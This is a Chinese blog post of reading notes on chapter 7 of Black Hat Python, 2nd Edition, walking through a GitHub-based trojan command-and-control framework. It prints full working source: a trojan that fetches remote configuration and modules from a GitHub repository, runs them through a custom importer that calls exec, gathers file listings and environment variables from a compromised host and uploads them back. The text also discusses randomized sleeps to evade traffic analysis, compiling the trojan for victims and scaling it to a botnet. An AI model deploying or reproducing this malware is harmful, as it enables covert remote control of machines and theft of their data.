黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第七章 GitHub命令与控制(2)构建基于GitHub的特洛伊木马框架
黑帽python第二版(Black Hat Python 2nd Edition)讀書筆記 之 第七章 GitHub命令與控制(2)構建基于GitHub的特洛伊木馬框架
文章目錄
- 黑帽python第二版(Black Hat Python 2nd Edition)讀書筆記 之 第七章 GitHub命令與控制(2)構建基于GitHub的特洛伊木馬框架
- 創建模塊
- 特洛伊木馬配置
- 構建基于GitHub的特洛伊木馬
- 創建跟Git交互的函數
- 設置access token
- 構建Trojan類
- 黑掉python的import功能
- 創建main主函數
- 小試牛刀
- 附上代碼
- git_trojan.py
- dirlister.py
- environment.py
- abc.json
創建模塊
在后面的章節中,我們將使用特洛伊木馬做一些令人討厭的事情,例如記錄擊鍵和截圖。但首先,創建一些簡單的模塊,以便輕松測試和部署。在modules目錄中打開一個新文件,將其命名為dirlister.py,然后輸入以下代碼:
import osdef run(**args):print("[*] In dirlister module.")files = os.Listdir(".")return str(files)上面這一小段代碼定義了一個run函數,該函數列出當前目錄中的所有文件,并將文件列表作為字符串返回。我們開發的每個模塊都應該公開一個參數數目可變的run函數,這使我們能夠以相同的方式加載每個模塊,但仍可以自定義配置文件,以便根據需要向模塊傳遞不同的參數。
現在,我們在名為environment.py的文件(也是在modules目錄下)中創建另一個模塊:
此模塊只檢索在執行特洛伊木馬程序的遠程計算機上設置的任何環境變量。
接下來,將此代碼推送到GitHub的repo上,以便我們的特洛伊木馬可以使用它。從本地repo主目錄中運行命令行,輸入以下代碼:
運行結果如下圖所示。
這時候我們應該可以看到代碼被推送到GitHub存儲庫,如下圖所示;如果要評估創建的任何模塊,請將它們推送到GitHub,然后在本地特洛伊木馬版本的配置文件中啟用它們。這樣,我們就可以可以測試它們,然后允許遠程特洛伊木馬拾取代碼并使用它。
特洛伊木馬配置
當我們希望讓特洛伊木馬執行某些操作時,我們需要一種方法來告訴它要執行哪些操作,以及哪些模塊負責執行這些操作。我們可以使用配置文件來提供這種級別的控制。配置文件還使我們能夠根據自己的選擇有效地將特洛伊木馬程序置于休眠狀態(不給它任何任務)。為了能夠正常工作,我們部署的每個特洛伊木馬程序都應該有一個唯一的ID。這樣,您就可以根據這些ID對任何檢索到的數據進行分析,并控制哪些木馬程序執行哪些些任務。
接下來我們將配置特洛伊木馬程序,以便程序能夠在配置目錄中查找TROJANID.json,它將返回一個簡單的json文檔,json文檔可以轉換為Python字典,然后使用該字典通知木馬程序要執行哪些任務。另外,使用JSON格式也會使得更改配置選項變得非常容易。進入config目錄,并創建一個名為abc.json的文件,在其中輸入一下內容:
這只是遠程特洛伊木馬應當運行的模塊的簡單列表,稍后我們會看到如何閱讀這個JSON文檔,然后迭代每個選項以加載這些模塊。
在頭腦風暴關于可以執行的模塊的想法時,我們會發現包含其他配置選項是很有用的,例如執行持續時間、運行模塊的次數或傳遞給模塊的參數。另外我們還可以添加多種過濾數據的方法,這在第9章中會有所涉及。
參照前一節的方法,將新添加的配置文件推送到github,這里不再贅述。現在我們有了配置文件和一些簡單的模塊要運行,接下來我們開始構建特洛伊木馬的主程序。
構建基于GitHub的特洛伊木馬
特洛伊木馬的程序將檢索要從GitHub運行的配置選項和代碼。首先從編寫連接和驗證GitHub API的函數開始,然后跟GitHub通信。創建并打開名為git_trojan.py的新文件,并輸入以下內容
import base64 import github3 import importlib import json import random import sys import threading import timefrom datetime import datetime上面的代碼主要是包含了必要的導入,這在編譯時可以使木馬程序的總體大小相對較小。我們之所以說“相對”,是因為大多數使用pyinstaller編譯的Python二進制文件大約為7MB。我們將把這個二進制文件放到受損害的主機上。
如果我們想利用這項技術構建一個完整的僵尸網絡(一個由許多這樣的被植入木馬的機器組成的網絡),則會希望能夠自動生成特洛伊木馬,設置其ID,創建一個推送到GitHub的配置文件,并將特洛伊木馬編譯成可執行文件。這里我們不會構建僵尸網絡;大家可以用自己的想象力來完成這項工作。
創建跟Git交互的函數
現在將相關的GitHub代碼補充到位:
def github_connect():with open('mytoken.txt') as f:token = f.read()user = 'AltaiWolf'sess = github3.login(token=token)return sess.repository(user, 'bhptrojan')def get_file_contents(dirname, module_name, repo):return repo.file_contents(f'{dirname}/{module_name}').content這兩個函數處理與GitHub的交互。github_connect函數讀取在github上創建的令牌,創建令牌時將其寫入了名為mytoken.txt的文件。
設置access token
原書并沒有說明mytoken.txt中的內容是如何創建的,對于一些GitHub新手來說可能還真不知道如何下手,這里詳細描述一下。
登錄GitHub后,在右上角用戶頭像的下拉菜單中選擇“Settings/”,如下圖。
然后,在打開的頁面的左下角點擊“Developer settings”菜單,如下圖。
然后在Developer Settings頁面選擇“Personal access tokens/Tokens(classic)”,如下圖。
然后在右上角點擊“Generate new token/Generate new token (classic)”,如下圖。
在打開的頁面中輸入token的名稱,勾選相關的選項,然后點擊底部的Generate就可以了,這時候會生成一串token字符,如下圖所示,這就是要保存在mytoken.txt中的內容。
現在,我們從該文件讀取令牌并返回到GitHub的連接。實際操作中我們可能希望為不同的特洛伊木馬創建不同的令牌,以便控制每個特洛伊木馬可以在存儲庫中訪問的內容。這樣,當守方抓到我們的特洛伊木馬程序時,也無法刪除我們檢索到的所有數據。
get_file_contents函數接收目錄名、模塊名和存儲庫連接,并返回指定模塊的內容。該函數負責從遠程存儲庫獲取程序文件并在受害主機本地讀取內容。我們將使用這個函數來讀取配置選項和模塊的源代碼。
構建Trojan類
接下來,創建一個執行基本特洛伊木馬任務的Trojan類:
class Trojan:def __init__(self, id):self.id = idself.config_file = f'{id}.json'self.data_path = f'data/{id}/'self.repo = github_connect()初始化特洛伊木馬對象時,我們會指定其配置信息和特洛伊木程序寫入其輸出文件的數據路徑,并連接到存儲庫?,F在,我們將添加與之通信所需的方法:
def get_config(self):config_json = get_file_contents('config', self.config_file, self.repo)config = json.loads(base64.b64decode(config_json))for task in config:if task['module'] not in sys.modules:exec("import %s" % task['module'])return configdef module_runner(self, module):result = sys.modules[module].run()self.store_module_result(result)def store_module_result(self, data):message = datetime.now().isoformat()remote_path = f'data/{self.id}/{message}.data'bindata = bytes('%r' % data, 'utf-8')self.repo.create_file(remote_path, message, base64.b64encode(bindata))def run(self):while True:config = self.get_config()for task in config:thread = threading.Thread(target=self.module_runner, args=(task['module'],))thread.start()time.sleep(random.randint(1, 10))time.sleep(random.randint(30*60, 3*60*60))get_config方法從repo檢索遠程配置文檔,以便特洛伊木馬知道要運行哪些模塊。Exec將檢索到的模塊內容引入特洛伊木馬對象。module_runner方法調用剛剛導入的模塊的run函數(下一節將會詳細介紹如何調用它),store_module_result方法創建一個文件,其名稱包含當前日期和時間,然后將其輸出保存到該文件中。特洛伊木馬程序將使用這三種方法將從目標計算機收集的任何數據推送到GitHub。
在run方法中,我們開始執行這些任務。第一步是從repo中獲取配置文件,然后我們在自己的線程中啟動模塊。而在module_runner方法中,我們調用模塊的run函數來運行其代碼,當運行完成時它應該輸出一個字符串,然后我們將輸出的字符串push到我們的repo中。
特洛伊木馬程序完成任務后,會隨機休眠一段時間,以試圖阻止任何網絡模式分析。當然,我們可以為google.com創造大量流量,或任何其他看似良性的站點,以便掩蓋我們的特洛伊木馬的真正意圖。
接下來,我們創建一個python import的hacker來從GitHub的repo導入遠程文件。
黑掉python的import功能
既然已經進行到了這里,我們就會知道可以使用Python的import功能將外部庫復制到我們的程序中,以便我們可以調用這些庫的代碼,我們希望我們的特洛伊木馬能夠做同樣的事情。由于我們正在控制一臺遠程機器,我們希望使用該機器上沒有的軟件包,并且沒有簡單的方法可以遠程安裝這種軟件包。除此之外,我們還希望確保如果我們引入一個依賴項,例如Scapy,我們的特洛伊木馬程序會使我們拉入的所有其它模塊都可以使用該模塊。
Python允許我們定制導入模塊的方式;如果無法在本地找到模塊,它將調用我們定義的導入類,這將允許我們從repo遠程檢索庫。我們必須將自定義類添加到sys.meta_path列表中?,F在,我們通過添加以下代碼來創建這個類:
每次解釋器嘗試加載不可用的模塊時,都會使用這個GitImporter類。首先find_module方法嘗試定位模塊,我們將此調用傳遞給遠程文件加載程序。如果我們能在我們的repo中找到該文件,我們將對代碼進行base64解碼并將其存儲在類中。(GitHub將給我們提供base64編碼的數據。)通過返回self,我們向Python解釋器表明我們找到了模塊,它可以調用load_module方法來實際加載它。我們使用本機importlib模塊首先創建一個新的空白模塊對象,然后將從GitHub檢索到的代碼放入其中。最后一步是將新創建的模塊插入到sys.modules列表中,以便將來任何的import調用都可以使用它。
創建main主函數
現在,我們對特洛伊木馬進行最后的潤色,然后讓它運行一下:
if __name__ == '__main__':sys.meta_path.append(GitImporter())trojan = Trojan('abc')trojan.run()在__main__塊中,我們將GitImporter放入sys.meta_path列表,然后創建特洛伊木馬對象并調用它的run方法?,F在我們運行它一下!
小試牛刀
我們通過從命令行運行一下前面做出來的成果。
注意:如果在文件或環境變量中有敏感信息,請記住,如果沒有專用存儲庫,這些本地環境中獲取的信息將被上傳到GitHub以供全世界查看。
然而我在用python運行腳本的時候,碰到了如下的錯誤,提示header value不合法。
原書網站下載的代碼跟我的寫法完全一致,將原書代碼修改成如下圖紅線部分所示的內容,問題解決。
但是在接下來的運行中又碰到了新的錯誤,如下圖。
后來定位了一下原因,是因為我的config配置文件中和modules目錄下真實的文件名不一致導致的,修改后重新push到git上,再次運行,跟預期的結果一致,如下圖。
上述代碼完美地連接到了存儲庫,并檢索配置文件,拉入我們在配置文件中設置的兩個模塊,然后運行它們。
現在,從特洛伊木馬目錄中運行命令行,并輸入以下內容:
令人驚嘆的特洛伊木馬程序檢查了兩個正在運行的模塊的結果。下圖展示了木馬程序自動執行并收集受損機器上的執行結果上傳到githut的內容。
我們可以對這個核心命令和控制技術進行一些改進和增強:加密所有模塊、配置和過濾數據將是一個良好的開端。如果要大規模感染系統,我們還需要自動執行下載數據、更新配置文件和推出新特洛伊木馬的過程。隨著我們添加越來越多的功能,還需要擴展Python加載動態庫和編譯庫的方式。
現在,讓我們來創建一些獨立的特洛伊木馬任務,我們將把它們集成到新的GitHub特洛伊程序中。
附上代碼
git_trojan.py
import base64 import github3 import importlib import json import random import sys import threading import timefrom datetime import datetimedef github_connect():with open("mytoken.txt") as f:token = f.read().strip()user = 'AltaiWolf'sess = github3.login(token=token)return sess.repository(user, 'bhptrojan')def get_file_contents(dirname, module_name, repo):return repo.file_contents(f'{dirname}/{module_name}').contentclass GitImporter:def __init__(self):self.current_module_code = ''def find_module(self, name, path=None):print("[*] Attempting to retrive %s" % name)self.repo = github_connect()print(f'self repo is : {self.repo}')print(f'name is : {name}')new_library = get_file_contents('modules', f'{name}.py', self.repo)if new_library is not None:self.current_module_code = base64.b64decode(new_library)return selfdef load_module(self, name):spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)new_module = importlib.util.module_from_spec(spec)exec(self.current_module_code, new_module.__dict__)sys.modules[spec.name] = new_modulereturn new_moduleclass Trojan:def __init__(self, id):self.id = idself.config_file = f'{id}.json'self.data_path = f'data/{id}/'self.repo = github_connect()def get_config(self):config_json = get_file_contents('config', self.config_file, self.repo)config = json.loads(base64.b64decode(config_json))for task in config:if task['module'] not in sys.modules:print(f"task module is : {task['module']}")exec("import %s" % task['module'])return configdef module_runner(self, module):result = sys.modules[module].run()self.store_module_result(result)def store_module_result(self, data):message = datetime.now().isoformat()remote_path = f'data/{self.id}/{message}.data'bindata = bytes('%r' % data, 'utf-8')self.repo.create_file(remote_path, message, base64.b64encode(bindata))def run(self):while True:config = self.get_config()for task in config:thread = threading.Thread(target=self.module_runner, args=(task['module'],))thread.start()time.sleep(random.randint(1, 10))time.sleep(random.randint(30*60, 3*60*60))if __name__ == '__main__':sys.meta_path.append(GitImporter())trojan = Trojan('abc')trojan.run()dirlister.py
import osdef run(**args):print("[*] In dirlister module.")files = os.listdir(".")return str(files)environment.py
import osdef run(**args):print("[*] In environment module.")return os.environabc.json
[{"module": "dirlister"},{"module": "environment"} ]總結
以上是生活随笔為你收集整理的黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第七章 GitHub命令与控制(2)构建基于GitHub的特洛伊木马框架的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 无刷驱动设计——浅谈MOS驱动电路
- 下一篇: 电路设计——教你如何阅读数据手册